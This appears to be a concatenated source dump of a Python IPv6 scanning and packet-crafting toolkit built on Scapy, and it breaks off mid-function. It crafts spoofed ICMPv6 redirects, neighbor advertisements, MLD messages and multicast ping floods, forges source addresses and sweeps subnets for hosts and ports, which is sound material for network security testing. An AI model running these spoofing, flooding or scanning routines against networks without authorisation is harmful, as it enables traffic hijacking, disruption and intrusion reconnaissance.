214 | mld_auxdata=str(l[1]['auxdata']) 215 | else: 216 | mld_auxdata='' 217 | if l[1].has_key('no_of_sources'): 218 | mld_no_of_sources=int(l[1]['no_of_sources']) 219 | else: 220 | mld_no_of_sources=0 221 | if l[1].has_key('dst'): 222 | mldaddr=str(l[1]['dst']) 223 | else: 224 | mldaddr="::" 225 | if number_of_multicast_address_records==1: 226 | if l[1].has_key('saddresses'): 227 | mld_saddresses=l[1]['saddresses'] 228 | mldsaddresses=[] 229 | mldsaddresses.append(mld_saddresses) 230 | mldsaddresses=mld_saddresses.split('-') 231 | p=scapy.layers.inet6.ICMPv6MLDMultAddrRec(rtype=mldrtype, auxdata_len=mld_auxdatalen, sources_number=mld_no_of_sources, dst=mldaddr, sources=mldsaddresses,auxdata=mld_auxdata) 232 | else: 233 | p=scapy.layers.inet6.ICMPv6MLDMultAddrRec(rtype=mldrtype, auxdata_len=mld_auxdatalen, sources_number=mld_no_of_sources, dst=mldaddr,auxdata=mld_auxdata) 234 | else: 235 | if l[1].has_key('saddresses'): 236 | mld_saddresses=l[1]['saddresses'] 237 | mldsaddresses=[] 238 | mldsaddresses.append(mld_saddresses) 239 | mldsaddresses=mld_saddresses.split('-') 240 | p=p/scapy.layers.inet6.ICMPv6MLDMultAddrRec(rtype=mldrtype, auxdata_len=mld_auxdatalen, sources_number=mld_no_of_sources, dst=mldaddr, sources=mldsaddresses,auxdata=mld_auxdata) 241 | else: 242 | p=p/scapy.layers.inet6.ICMPv6MLDMultAddrRec(rtype=mldrtype, auxdata_len=mld_auxdatalen, sources_number=mld_no_of_sources, dst=mldaddr,auxdata=mld_auxdata) 243 | 244 | if my_number_of_multicast_address_records: 245 | number_of_multicast_address_records=int(my_number_of_multicast_address_records) 246 | 247 | if list_of_multicast_address_records: 248 | if router_alert: 249 | if layer4_data: 250 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLReport2(res=mldres1,reserved=mldreserved,records_number=number_of_multicast_address_records)/p/scapy.packet.Raw(layer4_data) 251 | else: 252 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLReport2(res=mldres1,reserved=mldreserved,records_number=number_of_multicast_address_records)/p 253 | else: 254 | if layer4_data: 255 | header=scapy.layers.inet6.ICMPv6MLReport2(res=mldres1,reserved=mldreserved,records_number=number_of_multicast_address_records)/p/scapy.packet.Raw(layer4_data) 256 | else: 257 | header=scapy.layers.inet6.ICMPv6MLReport2(res=mldres1,reserved=mldreserved,records_number=number_of_multicast_address_records)/p 258 | else: 259 | if router_alert: 260 | if layer4_data: 261 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLReport2(res=mldres1,reserved=mldreserved,records_number=number_of_multicast_address_records)/scapy.packet.Raw(layer4_data) 262 | else: 263 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLReport2(res=mldres1,reserved=mldreserved,records_number=number_of_multicast_address_records) 264 | else: 265 | if layer4_data: 266 | header=scapy.layers.inet6.ICMPv6MLReport2(res=mldres1,reserved=mldreserved,records_number=number_of_multicast_address_records)/scapy.packet.Raw(layer4_data) 267 | else: 268 | header=scapy.layers.inet6.ICMPv6MLReport2(res=mldres1,reserved=mldreserved,records_number=number_of_multicast_address_records) 269 | return header 270 | 271 | def mldv1_done(mldcode,mldmrd,mldreserved,mldmladdr,layer4_data,router_alert): 272 | if router_alert: 273 | if layer4_data: 274 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLDone(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr)/scapy.packet.Raw(layer4_data) 275 | else: 276 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLDone(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr) 277 | else: 278 | if layer4_data: 279 | header=scapy.layers.inet6.ICMPv6MLDone(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr)/scapy.packet.Raw(layer4_data) 280 | else: 281 | header=scapy.layers.inet6.ICMPv6MLDone(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr) 282 | return header 283 | 284 | def mldv1_query(mldcode,mldmrd,mldreserved,mldmladdr,layer4_data,router_alert): 285 | if router_alert: 286 | if layer4_data: 287 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLQuery(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr)/scapy.packet.Raw(layer4_data) 288 | else: 289 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLQuery(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr) 290 | else: 291 | if layer4_data: 292 | header=scapy.layers.inet6.ICMPv6MLQuery(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr)/scapy.packet.Raw(layer4_data) 293 | else: 294 | header=scapy.layers.inet6.ICMPv6MLQuery(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr) 295 | return header 296 | 297 | def mldv2_query(mldcode,mldmrd,mldreserved,mldmladdr,layer4_data,router_alert, myresv, s_flag, myqrv, myqqic, number_of_sources, myaddresses): 298 | if router_alert: 299 | if layer4_data: 300 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLQuery2(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr,Resv=myresv, S=s_flag, QRV=myqrv, QQIC=myqqic, sources_number=number_of_sources,sources=myaddresses)/scapy.packet.Raw(layer4_data) 301 | else: 302 | header=scapy.layers.inet6.IPv6ExtHdrHopByHop(nh=58,options=scapy.layers.inet6.RouterAlert())/scapy.layers.inet6.ICMPv6MLQuery2(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr,Resv=myresv, S=s_flag, QRV=myqrv, QQIC=myqqic, sources_number=number_of_sources,sources=myaddresses) 303 | else: 304 | if layer4_data: 305 | header=scapy.layers.inet6.ICMPv6MLQuery2(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr,Resv=myresv, S=s_flag, QRV=myqrv, QQIC=myqqic, sources_number=number_of_sources,sources=myaddresses)/scapy.packet.Raw(layer4_data) 306 | else: 307 | header=scapy.layers.inet6.ICMPv6MLQuery2(code=mldcode,mrd=mldmrd,reserved=mldreserved,mladdr=mldmladdr,Resv=myresv, S=s_flag, QRV=myqrv, QQIC=myqqic, sources_number=number_of_sources,sources=myaddresses) 308 | return header 309 | 310 | def icmpv6_router_solicitation(source_mac,reserved_field,interface): 311 | if source_mac: 312 | mymac=source_mac 313 | else: 314 | mymac=get_if_hwaddr(interface) 315 | header=scapy.layers.inet6.ICMPv6ND_RS(res=int(reserved_field))/scapy.layers.inet6.ICMPv6NDOptSrcLLAddr(lladdr=mymac) 316 | return header 317 | 318 | def icmpv6_router_redirect(target_mac,target_address,destination_address,fake_originator,interface): 319 | payload=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(8)) 320 | header=scapy.layers.inet6.ICMPv6ND_Redirect(tgt=target_address,dst=destination_address)/scapy.layers.inet6.ICMPv6NDOptDstLLAddr(lladdr=target_mac)/scapy.layers.inet6.ICMPv6NDOptRedirectedHdr(pkt=scapy.layers.inet6.IPv6(src=fake_originator,dst=destination_address)/icmpv6(128,0,payload)) 321 | return header 322 | 323 | def icmpv6_packet_too_big(mymtu,source,destination): 324 | if not mymtu: 325 | mymtu=1500 326 | length=mymtu-2*48 327 | payload=''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(length)) 328 | header=scapy.layers.inet6.ICMPv6PacketTooBig(mtu=mymtu)/scapy.layers.inet6.IPv6(src=source,dst=destination)/icmpv6(2,0,payload) 329 | return header 330 | 331 | def neighbor_advertisement(target_mac,target_address, router_flag, solicited_flag,override_flag,reserved_field): 332 | header=scapy.layers.inet6.ICMPv6ND_NA(tgt=target_address, R=router_flag, S=solicited_flag, O=override_flag,res=int(reserved_field))/scapy.layers.inet6.ICMPv6NDOptDstLLAddr(type=2,lladdr=target_mac) 333 | return header 334 | 335 | def neighbor_solicitation(target_mac,target_address,reserved_field): 336 | header=scapy.layers.inet6.ICMPv6ND_NS(tgt=target_address, res=int(reserved_field))/scapy.layers.inet6.ICMPv6NDOptDstLLAddr(type=1,lladdr=target_mac) 337 | return header 338 | 339 | version = '0.9' 340 | # End of create_layer4.py 341 | -------------------------------------------------------------------------------- /lib/definitions.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename: definitions.py 3 | import auxiliary_functions 4 | import address_generators 5 | import checkip 6 | import re 7 | import os 8 | import scapy 9 | import ipaddr 10 | import fileio 11 | version = '0.9' 12 | 13 | ###DEFINE THE SOURCE MAC ADDRESS### 14 | def define_source_mac_address(vmac_source,vrandom_mac): 15 | mac_source=vmac_source 16 | if mac_source: 17 | if re.match("[0-9a-f]{2}([:])[0-9a-f]{2}(\\1[0-9a-f]{2}){4}$", mac_source.lower()): 18 | print "Source MAC address to use: ",mac_source 19 | else: 20 | print mac_source, " is is a non valid MAC address" 21 | print "Acceptable format: xx:xx:xx:xx:xx:xx:xx:xx where x from 0 to f" 22 | exit(1) 23 | elif vrandom_mac: 24 | mac_source=address_generators.generate_random_mac() 25 | return mac_source 26 | 27 | ###DEFINE THE SOURCE IPV6 ADDRESS### 28 | def define_source_ipv6_address(vsource,mac_source,vinterface,vrandom_source,vprefix): 29 | source_ip = False 30 | if vsource:#If spoofed 31 | source_ip = vsource 32 | if not checkip.is_valid_ipv6(source_ip): 33 | print "Source ip",source_ip, "is not a valid IPv6 address" 34 | print "Please, fix the errors and come back" 35 | exit(0) 36 | elif not mac_source: 37 | mac_source=auxiliary_functions.find_single_mac(auxiliary_functions.get_my_ip(vinterface), source_ip, vinterface)#find the MAC of the spoofed source IP performing nsol 38 | if not mac_source: 39 | #randomise it 40 | print "MAC address for IPv6 address",source_ip,"has not been found" 41 | mac_source = address_generators.generate_random_mac() 42 | print "random mac address to use as source is", mac_source 43 | elif vrandom_source: 44 | source_ip=address_generators.generate_random_ipv6(vprefix) 45 | if not mac_source: 46 | #randomise it 47 | mac_source = address_generators.generate_random_mac() 48 | print "random mac address to use as source is", mac_source 49 | elif vinterface: 50 | source_ip = auxiliary_functions.get_my_ip(vinterface) 51 | if not mac_source: 52 | mac_source=scapy.layers.l2.get_if_hwaddr(vinterface) 53 | elif not source_ip: 54 | #source_ip=addr 55 | print "An available source IPv6 address does not exist. Please, define a source IPv6 address and try again." 56 | exit(0) 57 | print "The MAC address of your sender is:", mac_source 58 | print "The IPv6 address of your sender is:", source_ip 59 | print "The interface to use is", vinterface 60 | return source_ip,mac_source 61 | 62 | #DEFINE YOUR TARGETS/DESTINATIONS 63 | def define_destinations(vdestination,vinput_file,vsmart_scan,vprefix,vinput_combinations): 64 | #comma_separated_list=False 65 | IPv6_scope_defined=False 66 | if not (vdestination or vinput_file or vsmart_scan): 67 | print "You must define your destination(s)" 68 | exit(1) 69 | if vinput_file: 70 | if not os.path.isfile(vinput_file): 71 | print '[-] ' + vinput_file + 'does not exist' 72 | exit(1) 73 | elif not os.access(vinput_file, os.R_OK): 74 | print '[-] ' + vinput_file + 'access is denied' 75 | exit(1) 76 | else: 77 | ip_list=fileio.read_ipv6_addresses(vinput_file) 78 | elif vsmart_scan: 79 | if not vprefix: 80 | print "You must provide the IPv6 prefix (/64) to use for the smart scan" 81 | exit(1) 82 | elif not vinput_combinations: 83 | print "You must provide the input filename where the combinations to use for the smart scan are stored" 84 | exit(1) 85 | else: 86 | if not os.path.isfile(vinput_combinations): 87 | print '[-] ' + vinput_file + 'does not exist' 88 | exit(1) 89 | elif not os.access(vinput_combinations, os.R_OK): 90 | print '[-] ' + vinput_file + 'access is denied' 91 | exit(1) 92 | else: 93 | print "The IPv6 subnet ",vprefix,"/64 will be scanned using smart combinations" 94 | print "Now let's read the file with the IPv6 addresses of the targets" 95 | ip_list=[] 96 | for l in fileio.read_ipv6_addresses(vinput_combinations): 97 | ip_list.append(vprefix+l) 98 | print "Finished reading" 99 | elif vdestination.find('/')!=-1: # found 100 | subnet = vdestination.split("/") 101 | if (int(subnet[1]) > 127 or int(subnet[1])<64): 102 | print "The subnet range can be from /64 to /127" 103 | exit(1) 104 | net6 = ipaddr.IPv6Network(vdestination) 105 | print "Number of Hosts/IPs to scan = ", net6.numhosts 106 | ip_list=list(net6.iterhosts()) 107 | IPv6_scope_defined=True 108 | elif vdestination.find('-')!=-1: # found - WHATIF thereis a FQDN with a - in it, e.g. www.f-in.gr? 109 | print "ranges were entered" 110 | hex_parts= vdestination.split(":") 111 | ip_list=[] 112 | for hex_part in hex_parts: 113 | hex_list=[] 114 | if hex_part.find('-')!=-1: # found 115 | hex_numbers=hex_part.split("-") 116 | start = int(hex_numbers[0], 16) 117 | end = int(hex_numbers[1], 16) 118 | if start > end: 119 | print "in the specified hex range in your IPv6 addresses, you must define the smallest value first" 120 | exit(1) 121 | for i in xrange(start, end + 1): 122 | #print format(i, 'X') 123 | hex_list.append(format(i, 'x')) 124 | new_ip_list = [] 125 | for ip in ip_list: 126 | for l in hex_list: 127 | new_ip_list.append(ip+":"+l) 128 | ip_list = new_ip_list 129 | else: 130 | if not ip_list: 131 | ip_list.append(hex_part) 132 | else: 133 | new_ip_list = [] 134 | for ip in ip_list: 135 | new_ip_list.append(ip+":"+hex_part) 136 | ip_list = new_ip_list 137 | else: 138 | ip_list = vdestination.split(",") 139 | #comma_separated_list=False 140 | return ip_list,IPv6_scope_defined 141 | 142 | version = '0.9' 143 | # End of auxiliary_functions.py 144 | -------------------------------------------------------------------------------- /lib/fileio.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename: fileio.py 3 | 4 | import sys 5 | import os 6 | 7 | version = '0.8' 8 | 9 | def read_ipv6_addresses(filename): 10 | f = open(filename, 'r') 11 | ipv6addresses=[] 12 | for line in f.readlines(): 13 | ipv6address=line.strip('\r\n') 14 | ipv6addresses.append(ipv6address) 15 | f.close() 16 | return ipv6addresses 17 | 18 | def read_ports_to_scan(protocol): 19 | filename="../files/"+protocol+"_ports.txt" 20 | ports=[] 21 | if not os.path.isfile(filename): 22 | print '[-] ' + filename + ' does not exist' 23 | return ports 24 | elif not os.access(filename, os.R_OK): 25 | print '[-] ' + filename + ' access is denied' 26 | return ports 27 | else: 28 | f = open(filename, 'r') 29 | for line in f.readlines(): 30 | myports=line.strip('\r\n') 31 | ports.append(myports) 32 | f.close() 33 | return ports 34 | 35 | def main(): 36 | if len(sys.argv)==2: 37 | filename=sys.argv[1] 38 | if not os.path.isfile(filename): 39 | print '[-] ' + filename + ' does not exist' 40 | exit(0) 41 | elif not os.access(filename, os.R_OK): 42 | print '[-] ' + filename + ' access is denied' 43 | exit(0) 44 | else: 45 | read_ipv6_addresses(filename) 46 | exit(0) 47 | else: 48 | print "Please provide the file name where with the IPv6 addresses" 49 | 50 | if __name__ == '__main__': 51 | main() 52 | # End of fileio.py 53 | -------------------------------------------------------------------------------- /lib/results.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename: results.py 3 | version = '0.9' 4 | 5 | #make the elements of the imported list unique 6 | #packets which are originated from source, are excluded 7 | #source is used to filter/exclude the packets sent from you. 8 | def unique(imported_list, source): 9 | opened_tcp_list = [] 10 | sorted_list = [] 11 | for e in imported_list: 12 | if not e[0] == source: #exclude packets sent from you 13 | if e not in sorted_list: 14 | if len(e)>3: 15 | if "MLD" in e[3]: 16 | found=False 17 | for p in sorted_list: 18 | if p[0]==e[0]: 19 | found=True 20 | if len(p)==5: 21 | if len(e)==5: 22 | if not e[4] in p[4]: 23 | p[4]=p[4]+e[4] 24 | elif len(e)==5: 25 | p.append(e[4]) 26 | if not found: 27 | sorted_list.append(e) 28 | elif "TCP" in e[1] and e[3]=="SA": 29 | if e not in opened_tcp_list: 30 | opened_tcp_list.append(e) 31 | else: 32 | sorted_list.append(e) 33 | else: 34 | sorted_list.append(e) 35 | return sorted_list,opened_tcp_list 36 | 37 | #print the results, one by one, but by making them first unique 38 | def print_results(myresults, source): 39 | opened_tcp_list = [] 40 | final_results = [] 41 | if myresults: 42 | final_results,opened_tcp_list=unique(myresults, source)#make them unique 43 | print_all_results(final_results,opened_tcp_list) 44 | return opened_tcp_list,final_results 45 | 46 | #just print all the results, one-by-one 47 | def print_all_results(myresults,opened_tcp_list): 48 | if myresults: 49 | for r in myresults: 50 | print r 51 | if opened_tcp_list: 52 | print "\n\nOPENED TCP PORTS" 53 | print "---------------" 54 | for r in opened_tcp_list: 55 | print r 56 | 57 | #traceroute results 58 | def traceroute_results(results,packets_sent_list): 59 | routes={} 60 | for p in packets_sent_list: 61 | route=[] 62 | for r in p: 63 | #print r,p[r] 64 | for r2 in results: 65 | #if int(r2[3],16)==r: 66 | if int(r2[3])==r: 67 | route.append((p[r][0],r2[0])) 68 | routes[p.itervalues().next()[1]]=sorted(route) 69 | return routes 70 | 71 | def make_eth_link_global_pairs(myresults): 72 | my_pairs=[] 73 | link_local_addresses=[] 74 | global_addresses=[] 75 | for r in myresults: 76 | temp_res=[] 77 | temp_res.append(r[0]) 78 | temp_res.append(r[1]) 79 | if r[0][0:4]=="fe80": 80 | link_local_addresses.append(temp_res) 81 | else: 82 | global_addresses.append(temp_res) 83 | for r1 in link_local_addresses: 84 | temp_res=[] 85 | found=0 86 | for r2 in global_addresses: 87 | if r1[1] == r2[1]: 88 | temp_res.append(r1[1]) 89 | temp_res.append(r1[0]) 90 | temp_res.append(r2[0]) 91 | my_pairs.append(temp_res) 92 | found = 1 93 | break 94 | if found==0: #if there is no corresponding global address but just link-local 95 | temp_res.append(r1[1]) 96 | temp_res.append(r1[0]) 97 | temp_res.append("") 98 | my_pairs.append(temp_res) 99 | for r2 in global_addresses: 100 | found=0 101 | for r in my_pairs: 102 | if r[0] == r2[1]: 103 | found=1 104 | break 105 | if found==0: #if there is no corresponding link-local address but just global 106 | temp_res=[] 107 | temp_res.append(r2[1]) 108 | temp_res.append("") 109 | temp_res.append(r2[0]) 110 | my_pairs.append(temp_res) 111 | return my_pairs 112 | 113 | version = '0.9' 114 | # End of results.py 115 | -------------------------------------------------------------------------------- /lib/scanners.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename: scanners.py 3 | import auxiliary_functions 4 | import checkip 5 | import create_layer4 6 | import scapy 7 | import random 8 | #from scapy.all import * 9 | #from create_layers import * 10 | #from checkip import * 11 | #from auxiliary_functions import * 12 | version = '0.9' 13 | 14 | def dns_resolve_ipv6_addr(source_ip,hostname, dns_server, mac_gw,interface): 15 | mymac = scapy.layers.l2.get_if_hwaddr(interface) #my MAC address 16 | hostname_ipv6_address=[] 17 | if checkip.is_valid_ipv6(dns_server): 18 | #print "resolving using IPv6 DNS server",dns_server,"using gateway",mac_gw 19 | if mac_gw: 20 | p=scapy.sendrecv.srp1(scapy.layers.l2.Ether(src=mymac,dst=mac_gw)/scapy.layers.inet6.IPv6(src=source_ip,dst=dns_server)/scapy.layers.inet.UDP()/scapy.layers.dns.DNS(rd=1,qd=scapy.layers.dns.DNSQR(qtype='AAAA', qname=hostname)),timeout=10) 21 | else: 22 | p=scapy.sendrecv.srp1(scapy.layers.l2.Ether(src=mymac)/scapy.layers.inet6.IPv6(src=source_ip,dst=dns_server)/scapy.layers.inet.UDP()/scapy.layers.dns.DNS(rd=1,qd=scapy.layers.dns.DNSQR(qtype='AAAA', qname=hostname)),timeout=10) 23 | elif checkip.is_valid_ipv4(dns_server): 24 | if mac_gw: 25 | p=scapy.sendrecv.srp1(scapy.layers.l2.Ether(src=mymac,dst=mac_gw)/scapy.layers.inet.IP(dst=dns_server)/scapy.layers.inet.UDP()/scapy.layers.dns.DNS(rd=1,qd=scapy.layers.dns.DNSQR(qtype='AAAA', qname=hostname)),timeout=10) 26 | else: 27 | p=scapy.sendrecv.srp1(scapy.layers.l2.Ether(src=mymac)/scapy.layers.inet.IP(dst=dns_server)/scapy.layers.inet.UDP()/scapy.layers.dns.DNS(rd=1,qd=scapy.layers.dns.DNSQR(qtype='AAAA', qname=hostname)),timeout=10) 28 | else: 29 | print "Not a valid IP address has been provided for a DNS server" 30 | exit(0) 31 | try: 32 | if (p['DNS'].rcode == 0): #No error 33 | DNSBlocks = [ ] 34 | if (p['DNS'].ancount > 0): #If we have at least one answer from the answer block, process it 35 | DNSBlocks.append(p[scapy.layers.dns.DNS].an) 36 | if (p['DNS'].arcount > 0): #Likewise for the "additional" block 37 | DNSBlocks.append(p[scapy.layers.dns.DNS].ar) 38 | for OneAn in DNSBlocks: 39 | while isinstance(OneAn,scapy.layers.dns.DNSRR): #Somewhat equivalent: while not isinstance(an, NoPayload): 40 | if (OneAn.rclass == 1) and (OneAn.type == 28): #"IN" class and "AAAA" answer 41 | hostname_ipv6_address.append(OneAn.rdata) 42 | #Move to the next DNS object in the "an" block 43 | OneAn = OneAn.payload 44 | else: 45 | sys.stderr.write("unable to lookup " + hostname+". ") 46 | if not hostname_ipv6_address: 47 | print "I couldn't find an IPv6 address for",hostname 48 | return hostname_ipv6_address 49 | except: 50 | print "No response from dns server",dns_server 51 | exit(0) 52 | 53 | def multi_ping_scanner(source,interface,flood,flooding_interval): 54 | for ifaces in scapy.arch.linux.in6_getifaddr(): #in6_getifaddr() #return a list of IPs - ifaces, etc 55 | if ifaces[2]==interface: 56 | #Simple Echo Request 57 | packet=scapy.layers.inet6.IPv6(src=ifaces[0],dst="ff02::1")/create_layer4.icmpv6(128,0,"") 58 | scapy.sendrecv.sendp(scapy.layers.l2.Ether(dst="33:33:00:00:00:01")/packet,iface=interface, loop=flood,inter=flooding_interval) 59 | #Unsolicted Neighbor Advertisement 60 | packet=scapy.layers.inet6.IPv6(src=ifaces[0],dst="ff02::1")/scapy.layers.inet6.ICMPv6ND_NA(R=0,S=0,O=0, tgt=auxiliary_functions.get_my_ip(interface)) 61 | scapy.sendrecv.sendp(scapy.layers.l2.Ether(dst="33:33:00:00:00:01")/packet,iface=interface, loop=flood,inter=flooding_interval) 62 | #Unknown Option in an IPv6 Destination Option Extension Header 63 | packet=scapy.layers.inet6.IPv6(src=ifaces[0],dst="ff02::1")/scapy.layers.inet6.IPv6ExtHdrDestOpt(options=scapy.layers.inet6.HBHOptUnknown(otype=128,optdata='x'))/create_layer4.icmpv6(128,0,"") 64 | scapy.sendrecv.sendp(scapy.layers.l2.Ether(dst="33:33:00:00:00:01")/packet,iface=interface, loop=flood,inter=flooding_interval) 65 | #Send an unknown (Fake) IPv6 Extension Header 66 | packet=scapy.layers.inet6.IPv6(src=ifaces[0],dst="ff02::1",nh=200,)/scapy.layers.inet6.IPv6ExtHdrDestOpt()/create_layer4.icmpv6(128,0,"") 67 | scapy.sendrecv.sendp(scapy.layers.l2.Ether(dst="33:33:00:00:00:01")/packet,iface=interface, loop=flood,inter=flooding_interval) 68 | 69 | def ping_scanner(source,destination,ether_dst,interface,icmp_payload): 70 | other_side=destination 71 | my_PATH_MTU=len(icmp_payload)+48 72 | packet=scapy.layers.inet6.IPv6(src=source,dst=destination)/create_layer4.icmpv6(128,0,icmp_payload) 73 | try: 74 | ans,unans=scapy.sendrecv.srp(scapy.layers.l2.Ether(dst=ether_dst)/packet,iface=interface,retry=2,timeout=5) 75 | except: 76 | print "An exception has occured. Exiting..." 77 | for s,r in ans: 78 | if r.payload.payload.type == 2: #ICMPv6PacketTooBig 79 | res = r[IPv6].src,"ICMPv6 Packet Too Big",r.payload.payload.sprintf("MTU=%mtu%") 80 | #results.append(res) 81 | other_side=r[IPv6].src 82 | my_PATH_MTU=r.payload.payload.mtu 83 | return other_side,my_PATH_MTU 84 | 85 | def path_mtu_discovery(source,destination,ether_addresses,interface,initial_path_mtu): 86 | print "Path MTU Discovery" 87 | print "------------------" 88 | sender=source 89 | while not sender==destination: 90 | icmp_payload="A"*(int(initial_path_mtu)-48) 91 | sender,initial_path_mtu = ping_scanner(source,destination,ether_addresses,interface,icmp_payload) 92 | print "sender=",sender,"PATH MTU =",initial_path_mtu 93 | # End of scanners.py 94 | -------------------------------------------------------------------------------- /lib/sniffer_process.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Filename: sniffer_process.py 3 | #import multiprocessing 4 | from scapy.all import * 5 | version = '0.9' 6 | 7 | class mySniffer(): 8 | def __init__ (self,interface,scan_type,q,sniffer_timeout,source_ip,dns_server): 9 | self.interface = interface 10 | self.scan_type=scan_type 11 | self.q=q 12 | self.sniffer_timeout=sniffer_timeout 13 | self.source_ip=source_ip 14 | self.dns_server=dns_server 15 | #print "Starting sniffing for",self.sniffer_timeout," sec" 16 | print "Starting sniffing..." 17 | if self.sniffer_timeout: 18 | sniff(iface=self.interface, prn=self.handler, store=0, timeout=float(self.sniffer_timeout)) 19 | else: 20 | sniff(iface=self.interface, prn=self.handler, store=0, count=0, timeout=None) 21 | def handler(self,packets): 22 | res=[] 23 | if packets.haslayer(IPv6): 24 | #print "Scan type=", self.scan_type 25 | #print self.scan_type,packets.summary() 26 | if (self.scan_type==1 or self.scan_type==5 or (packets[IPv6].dst==self.source_ip and not packets[IPv6].src==self.dns_server)): 27 | #if (self.scan_type==1 or self.scan_type==5 and not packets[IPv6].src==self.dns_server): 28 | if packets.haslayer(ICMPv6DestUnreach): 29 | if not self.scan_type==6: #NOT NEEDED 30 | res.append(packets.sprintf("%IPv6.src%")) 31 | if self.scan_type==1 or self.scan_type==5: 32 | res.append(packets.sprintf("%src%")) 33 | res.append(packets.sprintf(" ICMPv6 ")) 34 | res.append(packets.sprintf("%ICMPv6DestUnreach.type%")) 35 | res.append(packets.sprintf("%ICMPv6DestUnreach.code%")) 36 | if packets.payload.payload.payload.nh==17:#if UDP 37 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% ICMPv6 %ICMPv6DestUnreach.type% %ICMPv6DestUnreach.code% Target:"),packets.payload.payload.payload.sprintf("%dst%"),packets.payload.payload.payload.payload.sprintf("UDP port %dport% CLOSED") 38 | res.append(packets.payload.payload.payload.sprintf("Target: %dst%")) 39 | res.append(packets.payload.payload.payload.payload.sprintf("UDP port %dport% CLOSED")) 40 | elif packets.payload.payload.payload.nh==6:#if TCP 41 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% ICMPv6 %ICMPv6DestUnreach.type% %ICMPv6DestUnreach.code% Target:"),packets.payload.payload.payload.sprintf("%dst%"),packets.payload.payload.payload.payload.sprintf("TCP port %dport% CLOSED") 42 | res.append(packets.payload.payload.payload.sprintf("Target: %dst%")) 43 | res.append(packets.payload.payload.payload.payload.sprintf("TCP port %dport% CLOSED")) 44 | elif packets.payload.payload.payload.nh==58:#if ICMPv6 45 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% ICMPv6 %ICMPv6DestUnreach.type% %ICMPv6DestUnreach.code% Enclosed Protocol:"),packets.payload.payload.sprintf("%nh%"),packets.payload.payload.payload.sprintf("%type% %code%") 46 | res.append(packets.payload.payload.payload.sprintf("Target: %dst%")) 47 | res.append(packets.payload.payload.payload.payload.sprintf("Type: %type%")) 48 | res.append(packets.payload.payload.payload.payload.sprintf("Code: %code%")) 49 | else: 50 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% ICMPv6 %ICMPv6DestUnreach.type% %ICMPv6DestUnreach.code% Enclosed Protocol:"),packets.payload.payload.sprintf("%nh%") 51 | res.append(packets.payload.payload.payload.sprintf("Target: %dst%")) 52 | res.append(packets.payload.payload.payload.sprintf("Enclosed protocol: %nh%")) 53 | elif packets.haslayer(ICMPv6ParamProblem): 54 | if not self.scan_type==6: 55 | print packets.sprintf("%src% %IPv6.src% -> %IPv6.dst% %ICMPv6ParamProblem.type% %ICMPv6ParamProblem.code%") 56 | res.append(packets.sprintf("%IPv6.src%")) 57 | if self.scan_type==1 or self.scan_type==5: 58 | res.append(packets.sprintf("%src%")) 59 | res.append(packets.sprintf(" ICMPv6 ")) 60 | res.append(packets.sprintf("%ICMPv6ParamProblem.type%")) 61 | res.append(packets.sprintf("%ICMPv6ParamProblem.code%")) 62 | res.append(packets.sprintf("%ICMPv6ParamProblem.ptr%")) 63 | elif packets.haslayer(ICMPv6TimeExceeded): 64 | if self.scan_type==6: ###THIS IS NEVER TRUE 65 | returned_packet=packets.getlayer(ICMPv6TimeExceeded) 66 | if returned_packet.haslayer(ICMPv6EchoRequest): 67 | embedded_packet=returned_packet.getlayer(ICMPv6EchoRequest) 68 | res.append(packets.payload.sprintf("%IPv6.src%")) 69 | res.append(returned_packet.sprintf("%ICMPv6TimeExceeded.type%")) 70 | res.append(returned_packet.sprintf("%ICMPv6TimeExceeded.code%")) 71 | res.append(int(returned_packet.sprintf("%ICMPv6EchoRequest.id%"),16)) 72 | print packets.payload.src,packets.sprintf("%ICMPv6TimeExceeded.type% %ICMPv6TimeExceeded.code%") 73 | elif returned_packet.payload.haslayer(TCPerror): 74 | embedded_packet=returned_packet.getlayer(TCPerror) 75 | res.append(packets.payload.sprintf("%IPv6.src%")) 76 | 